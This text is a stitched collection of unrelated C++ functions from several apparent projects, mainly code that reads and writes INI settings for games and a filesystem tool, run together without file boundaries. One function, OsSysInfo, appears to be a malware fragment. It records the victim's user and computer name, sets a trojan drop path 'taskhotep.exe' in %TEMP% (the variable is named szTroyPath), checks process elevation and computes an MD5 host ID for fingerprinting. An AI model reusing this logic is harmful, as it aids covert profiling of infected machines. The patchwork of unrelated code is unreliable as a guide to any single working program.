int INI::_parse_handler(void* user, const char* section, const char* name, const char* value) { INI * reader = (INI*)user; reader->parse_handler(section, name, value); return 1; }
/** * Use inside a loop to read all keys of a section. The order is as read * from the inifile. * * @param section The name of the section from which to read. * @param keynum Will skip (keynum-1) entries in section. * @returns an iterator to the keynum'th key in section. */ INIKey INIFile::readKeyValue(const char* section, Uint32 keynum) { map<string, INISection>::iterator sec_new; INIKey Key; string s; // get the string from (char*) section s = string(section); // Upper the section string transform(s.begin(), s.end(), s.begin(), toupper); sec_new = Inidata.find(s); if (sec_new == Inidata.end()) { throw KeyNotFound("Section [" + string(section) + "] not found in .ini file."); } if (keynum >= sec_new->second.size()) { throw KeyNotFound("Key number [???] in Section [" + string(section) + "] not found in .ini file."); } Key = sec_new->second.begin(); for (Uint32 i = 0; i < keynum; ++i) { Key++; } if (Key == sec_new->second.end()) { logger->error("throw 0 in INIFile::readKeyValue()\n"); throw KeyNotFound("Key number [????] in Section [" + string(section) + "] not found in .ini file."); } return Key; }
void Configuration::parseLog(INI& ini) { Logger& logger = Logger::getSingleton(); try { this->logLevel = logger.getFromString(ini.getString(L"log", L"level")); logger.setLevel(this->logLevel); } catch (const UException&) { } try { this->stdoutOutput = ini.getBool(L"log", L"enableStdOutput"); logger.setStdoutput(this->stdoutOutput); } catch (const UException&) { } try { this->develOutput = ini.getBool(L"log", L"enableDevelOutput"); logger.setDevelOutput(this->develOutput); } catch (const UException&) { } try { this->logFilename = ini.getString(L"log", L"outputFilename"); logger.setLogFile(this->logFilename); } catch (const UException&) {} }
void Globals::saveFile() { // Even if the file doesn't exist, we'll create it. INI ini; if (! ini.load(Globals::Config::file)) ini.create(); // Other macro to avoid typing, similar to the one // at loadFile() #define INI_SET(text, var) \ { \ ini.set(text, Utils::String::toString(var)); \ } INI_SET("screen:center_horizontal", Globals::Screen::center_horizontally); INI_SET("screen:center_vertical", Globals::Screen::center_vertically); INI_SET("screen:borders", Globals::Screen::show_borders); INI_SET("screen:fancy_borders", Globals::Screen::fancy_borders); INI_SET("screen:outer_border", Globals::Screen::outer_border); INI_SET("game:starting_level", Globals::Game::starting_level); INI_SET("game:random_walls", Globals::Game::random_walls); INI_SET("game:fruits_at_once", Globals::Game::fruits_at_once); INI_SET("game:teleport", Globals::Game::teleport); // Special Cases // Input Keys std::string key; key = InputManager::keyToString(InputManager::getBind("left")); INI_SET("input:left", key); key = InputManager::keyToString(InputManager::getBind("right")); INI_SET("input:right", key); key = InputManager::keyToString(InputManager::getBind("up")); INI_SET("input:up", key); key = InputManager::keyToString(InputManager::getBind("down")); INI_SET("input:down", key); key = InputManager::keyToString(InputManager::getBind("pause")); INI_SET("input:pause", key); key = InputManager::keyToString(InputManager::getBind("help")); INI_SET("input:help", key); key = InputManager::keyToString(InputManager::getBind("quit")); INI_SET("input:quit", key); // Board size int board_size = Globals::Game::boardSizeToInt(Globals::Game::board_size); INI_SET("game:board_size", board_size); ini.save(Globals::Config::file); }
void CDrivingBehavior::Save(INI<> &ini) const { ini.create("DB" + StringHelper::NumberToString(m_nID)); for (size_t i = 0; i < (size_t)EDriverBehaviorType::COUNT; i++) { EDriverBehaviorType iType = (EDriverBehaviorType)i; ini.set(g_DBToString.find(iType)->second, StringHelper::NumberToString(m_DriverTraits.find(iType)->second)); } }
void OsSysInfo(void) { computerName.resize(MAX_COMPUTERNAME_LENGTH + 1); GetComputerName((char*) computerName.c_str (), &dwSiz); userName.resize(1024); dwSiz=1024; if(GetUserName ((char*)userName.c_str (), &dwSiz)) deb("username: %s computername: %s", userName.c_str (), computerName.c_str ()); ini.set("host", "computername", computerName.c_str()); ini.set("host", "username", userName.c_str()); szPaths.resize(MAX_PATH); ExpandEnvironmentStringsA("%TEMP%", (char*) szPaths.c_str(), szPaths.size()); szTempPath = szPaths; strcat((char*) szPaths.c_str(), "\\taskhotep.exe"); strncpy(szTroyPath, szPaths.c_str(), MAX_PATH); GetSystemInfo(&systemInfo); deb("machine: %d cores: %d level: %d rev: %x", systemInfo.wProcessorArchitecture, systemInfo.dwNumberOfProcessors,systemInfo.wProcessorLevel, systemInfo.wProcessorRevision); MEMORYSTATUSEX msx; msx.dwLength = sizeof(msx); GlobalMemoryStatusEx(&msx); deb("memused: %lu%% total: %I64dMB avail: %I64dMB", msx.dwMemoryLoad,msx.ullTotalPhys/1024/1024, msx.ullAvailPhys/1024/1024); //hexdump((char*)&msx,msx.dwLength); DWORD dwTemp; TOKEN_ELEVATION_TYPE elevType ; HANDLE hToken; BOOL bOK = OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken); DWORD infoLen; bOK = GetTokenInformation(hToken, TokenElevationType, // type of info to retrieve &dwTemp, // receives return value sizeof(dwTemp), &infoLen); // receives returned length deb("TokenElevationType: %d", dwTemp); CloseHandle(hToken); szHostMD5 = (char*)MD5DigestString(userName+computerName).c_str (); deb("host MD5 [%s]", szHostMD5.c_str()); }
/** * Function to extract a integer value from a ini file. The value * can be given in hex if it starts with 0x. * * @param section the section in the file to extract values from. * @param key the name of the value to extract. * @return the value. */ int INIFile::readInt(const string& section, const string& key) const { // @todo remove that !!!! // We UPPER the string because strings are stored in UPPER WAY string s = section; transform(s.begin(), s.end(), s.begin(), toupper); string k = key; transform(k.begin(), k.end(), k.begin(), toupper); // If the section doesn't exist if (isKeyInSection(s, k) == false) { throw KeyNotFound("Can't find the section [" + s + "] in ini file."); } map<string, INISection>::const_iterator sec = Inidata.find(s); if (sec == Inidata.end()) { throw KeyNotFound("Can't find the section [" + string(section) + "] in ini file."); } //map<string, string>::const_iterator keyIt = sec.find(k); INISection::const_iterator keyIt = sec->second.find(k); // key = sec->second.find(v); //key = sec->second.begin(); // key.find(k); //for (unsigned int i = 0; i < sec->second.size(); i++) { // if (key->first == v) { // break; // } // key++; //} if (keyIt == sec->second.end()) { throw KeyNotFound("Can't Find the key [" + k + "] in the section [" + s + "] of ini file."); } //if (sscanf(key->second.c_str(), "%d", &retval) != 1) { // throw runtime_error("Unable to cast to int."); //} stringstream convStr; convStr << keyIt->second; int ret; convStr >> ret; return ret; }
int main(int argc, char* argv[]) { (void)argc,(void)argv; INI ini; ini.open("test.ini"); INI::iterator it = ini.begin(); INI::iterator end = ini.end(); for (; it != end; ++it) { INI::giterator git = it->second.begin(); INI::giterator gend = it->second.end(); for (; git != gend; ++git) { printf("%s, %s\n", git->first.c_str(), git->second.c_str()); } } return 0; }
void Globals::init() { // Making sure default config directory exists // By default it's `~/.local/share/yetris/` Globals::Config::directory = (Utils::File::getHome() + ".local/share/" + PACKAGE + "/"); if (Globals::Config::directory.front() != '/') { // We couldn't get user's home directory, // so let's fallback to `/tmp/.local/share...` Globals::Config::directory = ("/tmp/" + Globals::Config::directory); } Globals::Config::file = (Globals::Config::directory + "global-settings.ini"); if (! Utils::File::isDirectory(Globals::Config::directory)) Utils::File::mkdir_p(Globals::Config::directory); if (! Utils::File::isDirectory(Globals::Config::directory)) { // We REALLY can't access the disk by any means. // Let's throw everything away and give up. Globals::Config::directory = "/dev/"; Globals::Config::file = "/dev/null"; return; } // Getting default profile name - should be at the // global settings file. if (Utils::File::exists(Globals::Config::file)) { INI ini; if (ini.load(Globals::Config::file)) { Globals::Profiles::default_name = ini.get("profiles:default", Globals::Profiles::default_name); } } }
void Configuration::parseRules(INI& ini) { Section* rules = ini.getSection(L"rules"); std::vector<std::wstring>& keys = rules->getKeys(); std::vector<std::wstring>& values = rules->getValues(); for (unsigned int i = 0 ; i < keys.size() ; i++) { File f(values[i]); f.expand(); this->rules.push_back(Rule(keys[i], f.path())); } }
int main(int argc, char** argv) { char buffer[256] = {0}; if(ini.open("test.txt")) { // read ini.get("AUDIO", buffer); printf("%s\n", buffer); // write ini.set("VIDEO", "H264"); ini.close(); } else { printf("failed to open text file !"); } return 0; }
/** * Function to extract a integer value from a ini file. The value * can be given in hex if it starts with 0x. * * @param section the section in the file to extract values from. * @param value the name of the value to extract. * @return the value. */ int INIFile::readInt(const char* section, const char* value) const { int retval; map<string, INISection>::const_iterator sec; INIKey key; string s = section; transform(s.begin(), s.end(), s.begin(), toupper); string v = value; transform(v.begin(), v.end(), v.begin(), toupper); sec = Inidata.find(s); if (sec == Inidata.end()) { throw KeyNotFound("Can't find the section [" + string(section) + "] in ini file."); } // key = sec->second.find(v); key = sec->second.begin(); for (unsigned int i = 0; i < sec->second.size(); i++) { if (key->first == v) { break; } key++; } if (key == sec->second.end()) { throw KeyNotFound("Can't Find the key [" + string(value) + "] in the section [" + string(section) + "] of ini file."); } if (sscanf(key->second.c_str(), "%d", &retval) != 1) { throw runtime_error("Unable to cast to int."); } return retval; }
CDrivingBehavior::CDrivingBehavior(INI<> &ini, std::string const &sSection) { std::string sTemp; for (size_t i = 0; i < (size_t)EDriverBehaviorType::COUNT; i++) { EDriverBehaviorType iType = (EDriverBehaviorType)i; if ((sTemp = ini.get(sSection, g_DBToString.find(iType)->second, INI_ERROR)) != INI_ERROR) m_DriverTraits[iType] = StringHelper::StringToNumber<float>(sTemp); else m_DriverTraits[iType] = MathHelper::GetRandom(g_Bounds.find(iType)->second.first, g_Bounds.find(iType)->second.second); } m_nID = g_nLastID; g_nLastID++; m_fFitness = MathHelper::GetRandom(40.0f, 60.0f); };
void Configuration::parseTranslations(INI& ini) { File profile(L"%{CSIDL_PROFILE}"); Section* rules = ini.getSection(L"translation"); std::vector<std::wstring>& keys = rules->getKeys(); std::vector<std::wstring>& values = rules->getValues(); profile.expand(); for (unsigned int i = 0 ; i < keys.size() ; i++) { File f(values[i]); std::wstring path; f.expand(); path = f.path(); if (path.find(profile.path()) == 0) path.erase(0, profile.path().length() + 1); this->trans.add(keys[i], path); } }
Profile::Profile(std::string name): name(name), directory(Globals::Config::directory + name + "/"), fileSettings(directory + "settings.ini"), fileTheme(directory + "theme.ini"), fileStatistics(directory + "statistics.bin") { // Make sure we can load a default profile at startup // (meaning the global settings file must have a profile // name at `profiles:default`) if (! Utils::File::exists(Globals::Config::file)) { INI ini; ini.create(); ini.set("profiles:default", name); ini.save(Globals::Config::file); } else { INI ini; ini.load(Globals::Config::file); std::string default_name = ini.get("profiles:default", ""); if (default_name.empty()) { ini.set("profiles:default", name); ini.save(Globals::Config::file); } } // Making sure default directories and files exist. if (! Utils::File::isDirectory(this->directory)) Utils::File::mkdir_p(this->directory); if (! Utils::File::exists(this->fileSettings)) Utils::File::create(this->fileSettings); if (! Utils::File::exists(this->fileTheme)) Utils::File::create(this->fileTheme); if (! Utils::File::exists(this->fileStatistics)) Utils::File::create(this->fileStatistics); // Now that the directories exist, let's make sure // it's on the global list of existing Profiles if (std::find(Profile::profiles.begin(), Profile::profiles.end(), name) == Profile::profiles.end()) { Profile::profiles.push_back(name); std::sort(Profile::profiles.begin(), Profile::profiles.end()); } // Starting all settings with default, hardcoded values. // Screen settings.screen.center_horizontally = true; settings.screen.center_vertically = true; settings.screen.show_borders = true; settings.screen.fancy_borders = true; settings.screen.outer_border = true; settings.screen.use_colors = true; settings.screen.show_statistics = true; // Game settings.game.next_pieces = 7; settings.game.initial_noise = 0; settings.game.starting_level = 1; settings.game.has_ghost = true; settings.game.can_hold = true; settings.game.random_algorithm = "regular"; settings.game.has_game_over_animation = true; settings.game.line_clear_delay = 200; // ms settings.game.slide_left = false; settings.game.slide_right = false; settings.game.invisible = false; // Theme settings.theme.text = 0; settings.theme.hilite_text = Colors::pair(COLOR_CYAN, COLOR_DEFAULT); settings.theme.textbox = (settings.theme.hilite_text | A_REVERSE); settings.theme.piece_has_colors = true; settings.theme.ghost_has_colors = true; settings.theme.show_pivot_block = false; settings.theme.lock_piece_color = false; settings.theme.clear_line = new Block(Colors::pair(COLOR_WHITE, COLOR_DEFAULT), ':', ':'); settings.theme.piece_colorless = new Block(Colors::pair(COLOR_BLACK, COLOR_WHITE), ' ', ' '); settings.theme.piece = new Block(Colors::pair(COLOR_BLACK, COLOR_WHITE), ' ', ' '); settings.theme.ghost = new Block(Colors::pair(COLOR_BLACK, COLOR_WHITE, true), '[', ']'); settings.theme.locked = new Block(Colors::pair(COLOR_WHITE, COLOR_WHITE), ' ', ' '); settings.theme.invisible = new Block(Colors::pair(COLOR_WHITE, COLOR_DEFAULT), ' ', ' '); settings.theme.piece_S = new Block(Colors::pair(COLOR_WHITE, COLOR_GREEN), ' ', ' '); settings.theme.piece_Z = new Block(Colors::pair(COLOR_WHITE, COLOR_RED), ' ', ' '); settings.theme.piece_O = new Block(Colors::pair(COLOR_WHITE, COLOR_YELLOW), ' ', ' '); settings.theme.piece_I = new Block(Colors::pair(COLOR_WHITE, COLOR_CYAN, true), ' ', ' '); settings.theme.piece_L = new Block(Colors::pair(COLOR_WHITE, COLOR_YELLOW, true), ' ', ' '); settings.theme.piece_J = new Block(Colors::pair(COLOR_WHITE, COLOR_BLUE), ' ', ' '); settings.theme.piece_T = new Block(Colors::pair(COLOR_WHITE, COLOR_MAGENTA), ' ', ' '); this->resetKeybindings(); }
void Globals::loadFile() { if (! Utils::File::exists(Globals::Config::file)) return; INI ini; if (! ini.load(Globals::Config::file)) return; // Small macro to avoid unnecessary typing. // // To get something from the ini file we send the // text (to identify some value) and the default // value in case it doesn't exist. // // For the last one I send the variable itself, // so we fallback to the default values. #define INI_GET(var, text) \ { \ var = ini.get(text, var); \ } INI_GET(Globals::Screen::center_horizontally, "screen:center_horizontal"); INI_GET(Globals::Screen::center_vertically, "screen:center_vertical"); INI_GET(Globals::Screen::show_borders, "screen:borders"); INI_GET(Globals::Screen::fancy_borders, "screen:fancy_borders"); INI_GET(Globals::Screen::outer_border, "screen:outer_border"); INI_GET(Globals::Game::starting_level, "game:starting_level"); INI_GET(Globals::Game::random_walls, "game:random_walls"); INI_GET(Globals::Game::fruits_at_once, "game:fruits_at_once"); INI_GET(Globals::Game::teleport, "game:teleport"); // Special Cases // Getting input keys std::string tmp; INI_GET(tmp, "input:left"); InputManager::bind("left", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:right"); InputManager::bind("right", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:up"); InputManager::bind("up", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:down"); InputManager::bind("down", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:pause"); InputManager::bind("pause", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:help"); InputManager::bind("help", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:quit"); InputManager::bind("quit", InputManager::stringToKey(tmp)); // Board Size int board_size = 2; INI_GET(board_size, "game:board_size"); Globals::Game::board_size = Globals::Game::intToBoardSize(board_size); }
void StateManager::run() { bool letsQuit = false; while (!letsQuit) { InputManager::update(); // Updating the whole state. // This value is returned from it tell us if // we need to switch from the current state. GameState::StateCode whatToDoNow; whatToDoNow = this->currentState->update(); switch (whatToDoNow) { case GameState::CONTINUE: // Just continue on the current state. break; case GameState::QUIT: this->currentState->unload(); delete this->currentState; this->currentState = nullptr; letsQuit = true; break; case GameState::GAME_START: { this->currentState->unload(); delete this->currentState; this->currentState = new GameStateGame(); this->currentState->load(); break; } case GameState::MAIN_MENU: { this->currentState->unload(); delete this->currentState; this->currentState = new GameStateMainMenu(); this->currentState->load(); break; } default: break; } if (this->currentState) this->currentState->draw(); } // Right before quitting, we must save current // user's settings Globals::Profiles::current->saveSettings(); // And set the current profile as the default // to load next time. INI ini; if (! ini.load(Globals::Config::file)) ini.create(); ini.set("profiles:default", Globals::Profiles::current->name); ini.save(Globals::Config::file); }
void Profile::saveSettings() { INI ini; if (! ini.load(this->fileSettings)) return; #define INI_SET(text, var) \ { \ ini.set(text, Utils::String::toString(var)); \ } INI_SET("screen:center_horizontal", settings.screen.center_horizontally); INI_SET("screen:center_vertical", settings.screen.center_vertically); INI_SET("screen:borders", settings.screen.show_borders); INI_SET("screen:fancy_borders", settings.screen.fancy_borders); INI_SET("screen:outer_border", settings.screen.outer_border); INI_SET("screen:colors", settings.screen.use_colors); INI_SET("screen:statistics", settings.screen.show_statistics); // Game INI_SET("game:next_pieces", settings.game.next_pieces); INI_SET("game:initial_noise", settings.game.initial_noise); INI_SET("game:starting_level", settings.game.starting_level); INI_SET("game:ghost", settings.game.has_ghost); INI_SET("game:hold", settings.game.can_hold); ini.set("game:random_algorithm", settings.game.random_algorithm); INI_SET("game:game_over_animation", settings.game.has_game_over_animation); INI_SET("game:line_clear_delay", settings.game.line_clear_delay); INI_SET("game:slide_left", settings.game.slide_left); INI_SET("game:slide_right", settings.game.slide_right); INI_SET("game:invisible", settings.game.invisible); // Input Keys std::string key; key = InputManager::keyToString(InputManager::getBind("left")); INI_SET("input:left", key); key = InputManager::keyToString(InputManager::getBind("right")); INI_SET("input:right", key); key = InputManager::keyToString(InputManager::getBind("down")); INI_SET("input:down", key); key = InputManager::keyToString(InputManager::getBind("drop")); INI_SET("input:drop", key); key = InputManager::keyToString(InputManager::getBind("rotate_clockwise")); INI_SET("input:rotate_clockwise", key); key = InputManager::keyToString(InputManager::getBind("rotate_counterclockwise")); INI_SET("input:rotate_counterclockwise", key); key = InputManager::keyToString(InputManager::getBind("pause")); INI_SET("input:pause", key); key = InputManager::keyToString(InputManager::getBind("help")); INI_SET("input:help", key); key = InputManager::keyToString(InputManager::getBind("hold")); INI_SET("input:hold", key); key = InputManager::keyToString(InputManager::getBind("quit")); INI_SET("input:quit", key); ini.save(this->fileSettings); // Now, to the Theme file! ini.free(); if (! ini.load(this->fileTheme)) return; // FIXME: For now we're not dealing with colors, // only with block appearances! INI_SET("theme:piece_colors", settings.theme.piece_has_colors); INI_SET("theme:ghost_colors", settings.theme.ghost_has_colors); INI_SET("theme:show_pivot_block", settings.theme.show_pivot_block); INI_SET("theme:lock_piece_colors", settings.theme.lock_piece_color); ini.save(this->fileTheme); // std::string tmp; // #define INI_SET_THEME(var, text) // { // tmp = ini.get(text, var.appearance); // var.appearance[0] = tmp[0]; // var.appearance[1] = tmp[1]; // } // INI_SET_THEME(settings.theme.clear_line, "clear_line:block"); // INI_SET_THEME(settings.theme.piece_colorless, "piece_colorless:block"); // INI_SET_THEME(settings.theme.piece, "piece:block"); // INI_SET_THEME(settings.theme.ghost, "ghost:block"); // INI_SET_THEME(settings.theme.locked, "locked:block"); // INI_SET_THEME(settings.theme.invisible, "invisible:block"); // INI_SET_THEME(settings.theme.piece_S, "piece_S:block"); // INI_SET_THEME(settings.theme.piece_Z, "piece_Z:block"); // INI_SET_THEME(settings.theme.piece_O, "piece_O:block"); // INI_SET_THEME(settings.theme.piece_I, "piece_I:block"); // INI_SET_THEME(settings.theme.piece_L, "piece_L:block"); // INI_SET_THEME(settings.theme.piece_J, "piece_J:block"); // INI_SET_THEME(settings.theme.piece_T, "piece_T:block"); }
void Configuration::parseUnions(INI& ini) { std::wstring unions = ini.getString(L"main", L"union"); std::list<std::wstring>::iterator it; std::list<std::wstring> unionsList; StringUtil::split(unionsList, unions, ','); if (unionsList.empty()) throw UException(L"there is no unions"); for (it = unionsList.begin() ; it != unionsList.end() ; it++) { std::wstring unionName = (*it); StringUtil::atrim(unionName); Union unionNode(unionName); std::wstring path = L""; std::wstring rsyncSrc = L""; std::wstring rsyncFilter = L""; bool deleteOnClose = false; std::wstring predefinedDirectory; Section* sec = ini.getSection(unionName); try { File path(sec->getString(L"path")); path.expand(this->srcPath); unionNode.setPath(path.path()); try { File rsyncSrc(sec->getString(L"rsync")); rsyncSrc.expand(this->srcPath); unionNode.setRsyncSrc(rsyncSrc.path()); rsyncFilter = sec->getString(L"rsync_filter"); File f(rsyncFilter); f.expand(); unionNode.setRsyncFilter(f.path()); } catch (const UException&) { } try { deleteOnClose = sec->getBool(L"deleteOnEnd"); unionNode.setDeleteOnClose(deleteOnClose); } catch (const UException&) { } try { bool translate = sec->getBool(L"translate"); unionNode.setTranslate(translate); } catch (const UException&) { } try { std::list<std::wstring> l; std::list<std::wstring>::iterator it; std::wstring s = sec->getString(L"populate"); StringUtil::unquote(s); StringUtil::split(l, s, L';'); for( it = l.begin() ; it != l.end() ; it++) { std::wstring v = (*it); StringUtil::atrim(v); unionNode.addPredefinedDirectory(v); } } catch (const UException&) { } } catch (UException& e) { log_error(L"failed to parse union '%s': %s", (*it), e.wwhat()); throw; } this->unions.push_front(unionNode); } }
void Profile::loadSettings() { INI ini; if (! ini.load(this->fileSettings)) return; // Small macro to avoid unnecessary typing. // // To get something from the ini file we send the // text (to identify some value) and the default // value in case it doesn't exist. // // For the last one I send the variable itself, // so we fallback to the default values. #define INI_GET(var, text) \ { \ var = ini.get(text, var); \ } INI_GET(settings.screen.center_horizontally, "screen:center_horizontal"); INI_GET(settings.screen.center_vertically, "screen:center_vertical"); INI_GET(settings.screen.show_borders, "screen:borders"); INI_GET(settings.screen.fancy_borders, "screen:fancy_borders"); INI_GET(settings.screen.outer_border, "screen:outer_border"); INI_GET(settings.screen.use_colors, "screen:colors"); INI_GET(settings.screen.show_statistics, "screen:statistics"); // Game INI_GET(settings.game.next_pieces, "game:next_pieces"); INI_GET(settings.game.initial_noise, "game:initial_noise"); INI_GET(settings.game.starting_level, "game:starting_level"); INI_GET(settings.game.has_ghost, "game:ghost"); INI_GET(settings.game.can_hold, "game:hold"); INI_GET(settings.game.random_algorithm, "game:random_algorithm"); INI_GET(settings.game.has_game_over_animation, "game:game_over_animation"); INI_GET(settings.game.line_clear_delay, "game:line_clear_delay"); INI_GET(settings.game.slide_left, "game:slide_left"); INI_GET(settings.game.slide_right, "game:slide_right"); INI_GET(settings.game.invisible, "game:invisible"); // Getting input keys std::string tmp; INI_GET(tmp, "input:left"); InputManager::bind("left", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:right"); InputManager::bind("right", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:down"); InputManager::bind("down", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:drop"); InputManager::bind("drop", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:rotate_clockwise"); InputManager::bind("rotate_clockwise", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:rotate_counterclockwise"); InputManager::bind("rotate_counterclockwise", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:pause"); InputManager::bind("pause", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:help"); InputManager::bind("help", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:hold"); InputManager::bind("hold", InputManager::stringToKey(tmp)); INI_GET(tmp, "input:quit"); InputManager::bind("quit", InputManager::stringToKey(tmp)); // Now, to the Theme file! ini.free(); if (! ini.load(this->fileTheme)) return; // FIXME: For now we're not dealing with colors, // only with block appearances! INI_GET(settings.theme.piece_has_colors, "theme:piece_colors"); INI_GET(settings.theme.ghost_has_colors, "theme:ghost_colors"); INI_GET(settings.theme.show_pivot_block, "theme:show_pivot_block"); INI_GET(settings.theme.lock_piece_color, "theme:lock_piece_colors"); // std::string tmp; // #define INI_GET_THEME(var, text) // { // tmp = ini.get(text, var.appearance); // var.appearance[0] = tmp[0]; // var.appearance[1] = tmp[1]; // } // INI_GET_THEME(settings.theme.clear_line, "clear_line:block"); // INI_GET_THEME(settings.theme.piece_colorless, "piece_colorless:block"); // INI_GET_THEME(settings.theme.piece, "piece:block"); // INI_GET_THEME(settings.theme.ghost, "ghost:block"); // INI_GET_THEME(settings.theme.locked, "locked:block"); // INI_GET_THEME(settings.theme.invisible, "invisible:block"); // INI_GET_THEME(settings.theme.piece_S, "piece_S:block"); // INI_GET_THEME(settings.theme.piece_Z, "piece_Z:block"); // INI_GET_THEME(settings.theme.piece_O, "piece_O:block"); // INI_GET_THEME(settings.theme.piece_I, "piece_I:block"); // INI_GET_THEME(settings.theme.piece_L, "piece_L:block"); // INI_GET_THEME(settings.theme.piece_J, "piece_J:block"); // INI_GET_THEME(settings.theme.piece_T, "piece_T:block"); }